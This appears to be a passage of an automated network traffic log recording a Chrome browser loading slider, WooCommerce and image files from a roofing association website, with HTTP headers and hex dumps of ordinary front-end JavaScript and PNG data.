a=e(this);a!=t&&a.length>0&&e("body").find("#"+a.attr("id")).length>0&&(a.data("conthover",1),a.data("conthoverchanged",1),a.trigger("revolution.slide.onpause"),i[this.id].tonpause
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 69 3d 65 2e 73 70 6c 69 74 28 22 2c 22 29 2c 61 3d 69 2e 6c 65 6e 67 74 68 2d 31 3b 66 6f 72 28 76 61 72 20 72 20 69 6e 20 69 29 74 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 69 5b 72 5d 26 26 22 23 22 3d 3d 3d 69 5b 72 5d 5b 30 5d 3f 74 2b 69 5b 72 5d 5b 31 5d 2f 69 5b 72 5d 5b 33 5d 2a 31 30 30 2b 22 25 22 2b 28 72 3c 61 3f 22 2c 22 3a 22 22 29 3a 74 2b 69 5b 72 5d 2b 28 72 3c 61 3f 22 2c 22 3a 22 22 29 7d 65 6c 73 65 20 74 3d 65 3b 72 65 74 75 72 6e 20 74 7d 2c 72 65 76 54 6f 52 65 73 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 69 2c 61 2c 72 29 7b 69 66 28 28 65 3d 65 3d 3d 3d 74 3f 61 3a 65 29 21 3d 3d 74 29 7b 69 66 28 72 3d 72 3d 3d 3d 74 3f 22 2c 22 3a 72 2c 22 62 6f 6f 6c 65 61 6e 22 21 3d 74 79 70 65 6f 66 20 65 26 26 28 22 6f 62 6a 65 63 Data Ascii: i=e.split(","),a=i.length-1;for(var r in i)t="string"==typeof i[r]&&"#"===i[r][0]?t+i[r][1]/i[r][3]*100+"%"+(r<a?",":""):t+i[r]+(r<a?",":"")}else t=e;return t},revToResp:function(e,i,a,r){if((e=e===t?a:e)!==t){if(r=r===t?",":r,"boolean"!=typeof e&&("objec
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 75 6e 74 3f 30 3a 61 2b 31 3b 72 21 3d 3d 61 26 26 74 2e 70 75 73 68 28 69 5b 65 5d 2e 73 6c 69 64 65 73 5b 72 5d 29 2c 6f 21 3d 3d 61 26 26 74 2e 70 75 73 68 28 69 5b 65 5d 2e 73 6c 69 64 65 73 5b 6f 5d 29 2c 74 2e 6c 65 6e 67 74 68 3e 30 26 26 28 69 2e 6c 6f 61 64 49 6d 61 67 65 73 28 74 2c 65 2c 32 29 2c 69 2e 77 61 69 74 46 6f 72 43 75 72 72 65 6e 74 49 6d 61 67 65 73 28 74 2c 65 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 7d 7d 2c 73 65 74 53 69 7a 65 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 72 29 7b 76 61 72 20 6f 2c 73 3d 70 61 72 73 65 49 6e 74 28 69 5b 61 5d 2e 74 6f 70 5f 6f 75 74 65 72 7c 7c 30 29 2b 70 61 72 73 65 49 6e 74 28 69 5b 61 5d 2e 62 6f 74 74 6f 6d 5f 6f 75 74 65 72 7c 7c 30 29 2c 6e 3d 22 63 61 72 6f 75 73 65 6c 22 3d 3d 69 5b 61 5d 2e Data Ascii: unt?0:a+1;r!==a&&t.push(i[e].slides[r]),o!==a&&t.push(i[e].slides[o]),t.length>0&&(i.loadImages(t,e,2),i.waitForCurrentImages(t,e,function(){}))}},setSize:function(a,r){var o,s=parseInt(i[a].top_outer\|\|0)+parseInt(i[a].bottom_outer\|\|0),n="carousel"==i[a].
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 28 6c 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 61 29 7b 6e 3c 61 26 26 28 30 3d 3d 6f 7c 7c 6f 3e 70 61 72 73 65 49 6e 74 28 61 29 29 26 26 28 72 3d 70 61 72 73 65 49 6e 74 28 61 29 2c 69 5b 74 5d 2e 6c 65 76 65 6c 3d 65 2c 6f 3d 70 61 72 73 65 49 6e 74 28 61 29 29 2c 6e 3e 61 26 26 6f 3c 61 26 26 28 6f 3d 70 61 72 73 65 49 6e 74 28 61 29 2c 73 3d 65 29 7d 29 2c 6f 3c 72 26 26 28 69 5b 74 5d 2e 6c 65 76 65 6c 3d 73 29 2c 69 5b 74 5d 2e 6c 65 76 65 6c 46 6f 72 63 65 64 3d 69 5b 74 5d 2e 6c 65 76 65 6c 7d 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 69 29 7b 76 61 72 20 61 3d 30 3b 72 65 74 75 72 6e 20 74 2e 66 69 6e 64 28 69 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 65 28 74 68 69 73 29 3b 21 74 2e 68 61 73 43 6c 61 73 73 28 22 74 70 Data Ascii: (l,function(e,a){n<a&&(0==o\|\|o>parseInt(a))&&(r=parseInt(a),i[t].level=e,o=parseInt(a)),n>a&&o<a&&(o=parseInt(a),s=e)}),o<r&&(i[t].level=s),i[t].levelForced=i[t].level},d=function(t,i){var a=0;return t.find(i).each(function(){var t=e(this);!t.hasClass("tp
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 2c 6e 2e 6e 6f 50 65 76 65 6e 74 73 3d 6e 2e 73 74 61 72 74 63 6c 61 73 73 65 73 2e 69 6e 64 65 78 4f 66 28 22 72 73 2d 6e 6f 65 76 65 6e 74 73 22 29 3e 3d 30 2c 6e 2e 73 62 61 29 66 6f 72 28 76 61 72 20 6c 20 69 6e 20 61 3d 6e 2e 73 62 61 2e 73 70 6c 69 74 28 22 3b 22 29 29 61 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 6c 29 26 26 28 22 74 22 3d 3d 28 6f 3d 61 5b 6c 5d 2e 73 70 6c 69 74 28 22 3a 22 29 29 5b 30 5d 26 26 28 6e 2e 61 6e 69 6d 61 74 69 6f 6e 6f 6e 73 63 72 6f 6c 6c 3d 6f 5b 31 5d 2c 22 66 61 6c 73 65 22 3d 3d 6f 5b 31 5d 26 26 28 6e 2e 61 6e 69 6d 4f 6e 53 63 72 6f 6c 6c 46 6f 72 63 65 44 69 73 61 62 6c 65 3d 21 30 29 29 2c 22 65 22 3d 3d 6f 5b 30 5d 26 26 28 6e 2e 66 69 6c 74 65 72 6f 6e 73 63 72 6f 6c 6c 3d 6f 5b 31 5d 29 2c 22 73 6f Data Ascii: ,n.noPevents=n.startclasses.indexOf("rs-noevents")>=0,n.sba)for(var l in a=n.sba.split(";"))a.hasOwnProperty(l)&&("t"==(o=a[l].split(":"))[0]&&(n.animationonscroll=o[1],"false"==o[1]&&(n.animOnScrollForceDisable=!0)),"e"==o[0]&&(n.filteronscroll=o[1]),"so
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 61 72 2c 7b 6c 65 66 74 3a 30 2d 4d 61 74 68 2e 63 65 69 6c 28 69 5b 61 5d 2e 63 2e 63 6c 6f 73 65 73 74 28 22 72 73 2d 66 75 6c 6c 77 69 64 74 68 2d 77 72 61 70 22 29 2e 6f 66 66 73 65 74 28 29 2e 6c 65 66 74 2d 28 72 2b 6f 29 29 2b 22 70 78 22 2c 77 69 64 74 68 3a 65 28 77 69 6e 64 6f 77 29 2e 77 69 64 74 68 28 29 2d 28 69 5b 61 5d 2e 6e 61 76 4f 75 74 74 65 72 4f 66 66 73 65 74 73 2e 62 6f 74 68 2b 73 29 7d 29 2c 22 61 75 74 6f 22 3d 3d 3d 69 5b 61 5d 2e 73 6c 69 64 65 72 4c 61 79 6f 75 74 26 26 69 5b 61 5d 2e 6d 6f 64 61 6c 21 3d 3d 74 26 26 69 5b 61 5d 2e 6d 6f 64 61 6c 2e 75 73 65 41 73 4d 6f 64 61 6c 29 7b 76 61 72 20 6e 3d 4d 61 74 68 2e 6d 69 6e 28 69 5b 61 5d 2e 67 72 69 64 77 69 64 74 68 5b 69 5b 61 5d 2e 6c 65 76 65 6c 5d 2c 77 69 6e 64 6f 77 Data Ascii: ar,{left:0-Math.ceil(i[a].c.closest("rs-fullwidth-wrap").offset().left-(r+o))+"px",width:e(window).width()-(i[a].navOutterOffsets.both+s)}),"auto"===i[a].sliderLayout&&i[a].modal!==t&&i[a].modal.useAsModal){var n=Math.min(i[a].gridwidth[i[a].level],window
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 6f 2e 70 72 6f 67 72 65 73 73 3d 22 69 6e 6c 6f 61 64 22 7d 7d 29 7d 2c 52 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 53 74 61 74 69 63 20 49 6d 61 67 65 20 22 2b 65 2b 22 20 20 43 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 20 69 6e 20 74 69 6d 65 2e 20 45 72 72 6f 72 20 45 78 69 73 74 73 3a 22 2b 74 29 2c 21 30 7d 2c 41 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 61 29 7b 69 66 28 65 2e 6e 6f 77 28 29 2d 69 5b 61 5d 5b 74 2b 22 73 74 61 72 74 74 69 6d 65 22 5d 3e 35 65 33 26 26 31 21 3d 69 5b 61 5d 5b 74 2b 22 77 61 72 6e 69 6e 67 22 5d 29 7b 69 5b 61 5d 5b 74 2b 22 77 61 72 6e 69 6e 67 22 5d 3d 21 30 3b 76 61 72 20 72 3d 74 2b 22 20 41 70 69 20 43 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f Data Ascii: o.progress="inload"}})},R=function(e,t){return console.log("Static Image "+e+" Could not be loaded in time. Error Exists:"+t),!0},A=function(t,a){if(e.now()-i[a][t+"starttime"]>5e3&&1!=i[a][t+"warning"]){i[a][t+"warning"]=!0;var r=t+" Api Could not be lo
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 28 69 5b 72 5d 2e 6c 61 73 74 73 63 72 6f 6c 6c 74 6f 70 3d 2d 39 39 39 2c 69 2e 73 63 72 6f 6c 6c 48 61 6e 64 6c 69 6e 67 28 72 2c 21 30 2c 30 29 29 7d 2c 31 30 30 29 29 2c 69 2e 61 6e 69 6d 61 74 65 54 68 65 4c 61 79 65 72 73 3f 22 63 61 72 6f 75 73 65 6c 22 3d 3d 3d 69 5b 72 5d 2e 73 6c 69 64 65 72 54 79 70 65 3f 28 21 31 21 3d 3d 69 5b 72 5d 2e 63 61 72 6f 75 73 65 6c 2e 73 68 6f 77 4c 61 79 65 72 73 41 6c 6c 54 69 6d 65 26 26 28 69 5b 72 5d 2e 63 61 72 6f 75 73 65 6c 2e 61 6c 6c 4c 61 79 65 72 73 53 74 61 72 74 65 64 3f 69 2e 61 6e 69 6d 61 74 65 54 68 65 4c 61 79 65 72 73 28 7b 73 6c 69 64 65 3a 22 69 6e 64 69 76 69 64 75 61 6c 22 2c 69 64 3a 72 2c 6d 6f 64 65 3a 22 72 65 62 75 69 6c 64 22 7d 29 3a 69 2e 61 6e 69 6d 61 74 65 54 68 65 4c 61 79 65 72 Data Ascii: (i[r].lastscrolltop=-999,i.scrollHandling(r,!0,0))},100)),i.animateTheLayers?"carousel"===i[r].sliderType?(!1!==i[r].carousel.showLayersAllTime&&(i[r].carousel.allLayersStarted?i.animateTheLayers({slide:"individual",id:r,mode:"rebuild"}):i.animateTheLayer
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 3d 21 31 2c 31 21 3d 69 5b 72 5d 2e 63 2e 64 61 74 61 28 22 63 6f 6e 74 68 6f 76 65 72 22 29 26 26 31 3d 3d 69 5b 72 5d 2e 6e 61 76 69 67 61 74 69 6f 6e 2e 6f 6e 48 6f 76 65 72 53 74 6f 70 26 26 28 31 3d 3d 69 5b 72 5d 2e 76 69 65 77 50 6f 72 74 2e 65 6e 61 62 6c 65 26 26 69 5b 72 5d 2e 69 6e 76 69 65 77 70 6f 72 74 7c 7c 30 3d 3d 69 5b 72 5d 2e 76 69 65 77 50 6f 72 74 2e 65 6e 61 62 6c 65 29 26 26 28 69 5b 72 5d 2e 63 2e 74 72 69 67 67 65 72 28 22 72 65 76 6f 6c 75 74 69 6f 6e 2e 73 6c 69 64 65 2e 6f 6e 72 65 73 75 6d 65 22 29 2c 69 5b 72 5d 2e 63 2e 74 72 69 67 67 65 72 28 22 73 74 61 72 74 74 69 6d 65 72 22 29 29 7d 29 7d 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 65 28 22 2e 72 65 76 5f 72 65 64 72 61 77 5f 6f 6e 5f 62 6c 75 72 66 6f 63 75 73 22 29 2e Data Ascii: =!1,1!=i[r].c.data("conthover")&&1==i[r].navigation.onHoverStop&&(1==i[r].viewPort.enable&&i[r].inviewport\|\|0==i[r].viewPort.enable)&&(i[r].c.trigger("revolution.slide.onresume"),i[r].c.trigger("starttimer"))})},P=function(){e(".rev_redraw_on_blurfocus").

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49765	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:44 UTC	625	OUT	GET /wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.js?ver=2.7.0-wc.7.0.0 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:44 UTC	546	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:44 GMT Content-Type: text/javascript Content-Length: 9509 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 24 Oct 2022 17:29:55 GMT ETag: "1d417cf-2525-5ebcb23cbcac0" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:53:44 UTC	7646	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 62 6c 6f 63 6b 55 49 20 70 6c 75 67 69 6e 0a 20 2a 20 56 65 72 73 69 6f 6e 20 32 2e 37 30 2e 30 2d 32 30 31 34 2e 31 31 2e 32 33 0a 20 2a 20 52 65 71 75 69 72 65 73 20 6a 51 75 65 72 79 20 76 31 2e 37 20 6f 72 20 6c 61 74 65 72 0a 20 2a 0a 20 2a 20 45 78 61 6d 70 6c 65 73 20 61 74 3a 20 68 74 74 70 3a 2f 2f 6d 61 6c 73 75 70 2e 63 6f 6d 2f 6a 71 75 65 72 79 2f 62 6c 6f 63 6b 2f 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 37 2d 32 30 31 33 20 4d 2e 20 41 6c 73 75 70 0a 20 2a 20 44 75 61 6c 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 61 6e 64 20 47 50 4c 20 6c 69 63 65 6e 73 65 73 3a 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 Data Ascii: /! jQuery blockUI plugin * Version 2.70.0-2014.11.23 * Requires jQuery v1.7 or later * * Examples at: http://malsup.com/jquery/block/ * Copyright (c) 2007-2013 M. Alsup * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org
2024-04-23 14:53:44 UTC	1863	IN	Data Raw: 74 69 6d 65 6f 75 74 22 29 29 2c 74 3d 70 2e 65 78 74 65 6e 64 28 7b 7d 2c 70 2e 62 6c 6f 63 6b 55 49 2e 64 65 66 61 75 6c 74 73 2c 74 7c 7c 7b 7d 29 2c 49 28 30 2c 65 2c 74 29 2c 6e 75 6c 6c 3d 3d 3d 74 2e 6f 6e 55 6e 62 6c 6f 63 6b 26 26 28 74 2e 6f 6e 55 6e 62 6c 6f 63 6b 3d 73 2e 64 61 74 61 28 22 62 6c 6f 63 6b 55 49 2e 6f 6e 55 6e 62 6c 6f 63 6b 22 29 2c 73 2e 72 65 6d 6f 76 65 44 61 74 61 28 22 62 6c 6f 63 6b 55 49 2e 6f 6e 55 6e 62 6c 6f 63 6b 22 29 29 2c 6e 3d 69 3f 70 28 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 2e 63 68 69 6c 64 72 65 6e 28 29 2e 66 69 6c 74 65 72 28 22 2e 62 6c 6f 63 6b 55 49 22 29 2e 61 64 64 28 22 62 6f 64 79 20 3e 20 2e 62 6c 6f 63 6b 55 49 22 29 3a 73 2e 66 69 6e 64 28 22 3e 2e 62 6c 6f 63 6b 55 49 22 29 2c 74 2e 63 75 72 Data Ascii: timeout")),t=p.extend({},p.blockUI.defaults,t\|\|{}),I(0,e,t),null===t.onUnblock&&(t.onUnblock=s.data("blockUI.onUnblock"),s.removeData("blockUI.onUnblock")),n=i?p(document.body).children().filter(".blockUI").add("body > .blockUI"):s.find(">.blockUI"),t.cur

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49766	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:45 UTC	607	OUT	GET /wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=7.0.0 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:45 UTC	545	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:45 GMT Content-Type: text/javascript Content-Length: 3037 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 24 Oct 2022 17:29:55 GMT ETag: "1d417b3-bdd-5ebcb23cbcac0" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:53:45 UTC	3037	IN	Data Raw: 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 64 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 77 63 5f 61 64 64 5f 74 6f 5f 63 61 72 74 5f 70 61 72 61 6d 73 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 72 65 71 75 65 73 74 73 3d 5b 5d 2c 74 68 69 73 2e 61 64 64 52 65 71 75 65 73 74 3d 74 68 69 73 2e 61 64 64 52 65 71 75 65 73 74 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 72 75 6e 3d 74 68 69 73 2e 72 75 6e 2e 62 69 6e 64 28 74 68 69 73 29 2c 64 28 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 22 2e 61 64 64 5f 74 6f 5f 63 61 72 74 5f 62 75 74 74 6f 6e 22 2c 7b 61 64 64 54 6f 43 61 72 74 48 61 6e 64 6c 65 72 3a 74 68 69 73 7d 2c 74 68 Data Ascii: jQuery(function(d){if("undefined"==typeof wc_add_to_cart_params)return!1;var t=function(){this.requests=[],this.addRequest=this.addRequest.bind(this),this.run=this.run.bind(this),d(document.body).on("click",".add_to_cart_button",{addToCartHandler:this},th

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49767	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:45 UTC	612	OUT	GET /wp-content/plugins/js_composer/assets/js/vendors/woocommerce-add-to-cart.js?ver=6.1 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:45 UTC	543	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:45 GMT Content-Type: text/javascript Content-Length: 992 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:51 GMT ETag: "14e0475-3e0-5b419ed3e04c0" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:45 UTC	992	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 20 24 20 29 20 7b 0a 09 27 75 73 65 20 73 74 72 69 63 74 27 3b 0a 0a 09 24 28 20 64 6f 63 75 6d 65 6e 74 20 29 2e 72 65 61 64 79 28 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 09 09 24 28 20 27 62 6f 64 79 27 20 29 2e 6f 6e 28 20 27 61 64 64 69 6e 67 5f 74 6f 5f 63 61 72 74 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 20 65 76 65 6e 74 2c 20 24 62 75 74 74 6f 6e 2c 20 64 61 74 61 20 29 20 7b 0a 09 09 09 69 66 20 28 20 24 62 75 74 74 6f 6e 20 26 26 20 24 62 75 74 74 6f 6e 2e 68 61 73 43 6c 61 73 73 28 20 27 76 63 5f 67 69 74 65 6d 2d 6c 69 6e 6b 27 20 29 20 29 20 7b 0a 09 09 09 09 24 62 75 74 74 6f 6e 0a 09 09 09 09 09 2e 61 64 64 43 6c 61 73 73 28 20 27 76 63 2d 67 69 74 65 6d 2d 61 64 64 2d 74 6f 2d 63 61 72 74 2d 6c 6f 61 64 Data Ascii: (function ( $ ) {'use strict';$( document ).ready( function () {$( 'body' ).on( 'adding_to_cart', function ( event, $button, data ) {if ( $button && $button.hasClass( 'vc_gitem-link' ) ) {$button.addClass( 'vc-gitem-add-to-cart-load

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49768	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:45 UTC	728	OUT	GET /media/_pda/2019/11/asphalt-tagline-updated.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:45 UTC	515	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:45 GMT Content-Type: image/png Content-Length: 9728 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Thu, 31 Dec 2020 15:28:05 GMT ETag: "60065e-2600-5b7c44523cb40" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:45 UTC	7677	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 16 00 00 00 3d 08 06 00 00 00 f1 b3 20 0f 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 23 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 36 3a 35 37 20 20 Data Ascii: PNGIHDR= tEXtSoftwareAdobe ImageReadyqe<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57
2024-04-23 14:53:45 UTC	2051	IN	Data Raw: 59 55 43 5d 75 8d b4 fb c0 79 64 a4 92 bd ef 01 a2 91 b3 6a f1 04 55 6f db 42 b5 5b d6 53 b4 b3 8d a2 1d 6d d4 d1 38 9a 7a aa 46 d0 9e 59 f3 0b cf 2f c8 70 d6 bc 4f 96 ef 13 0a e7 0e 69 d7 54 91 f3 9b 06 f3 6d 9c cd e6 57 84 bc 9d 8f 50 2e 4f 99 58 8c 1a d6 be 42 89 a6 5d aa ec e1 5c 19 f6 a8 fc 87 d3 29 f7 f2 97 59 07 38 c8 76 0d f5 dd 8f c1 da 2f 53 e4 7f c5 43 b5 66 94 9c 0c 5a da e7 fd fc ee 47 32 94 10 27 e7 ad 95 cd e1 91 0e e8 83 f5 d0 ab fb 40 10 9e 2a f2 99 e6 db 70 83 ec d3 60 e6 a5 8b fc cf bd f2 23 2b 3d 54 fa c4 c4 4a 97 3a 34 50 7f e9 21 24 27 d5 e4 be da c4 4f bd 0c 5a 19 56 dc 7e db a0 11 8b c1 ec a8 26 e3 8b 68 c6 33 e9 d2 c1 98 c1 5d e4 70 9e d9 e2 69 43 50 19 55 90 fb 5c 09 53 38 cb 3d 99 32 4a 85 61 91 24 95 69 95 47 2c 1c a2 a9 89 0a Data Ascii: YUC]uydjUoB[Sm8zFY/pOiTmWP.OXB]\)Y8v/SCfZG2'@*p`#+=TJ:4P!$'OZV~&h3]piCPU\S8=2Ja$iG,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	49769	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:45 UTC	709	OUT	GET /media/2017/04/logo-icon.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
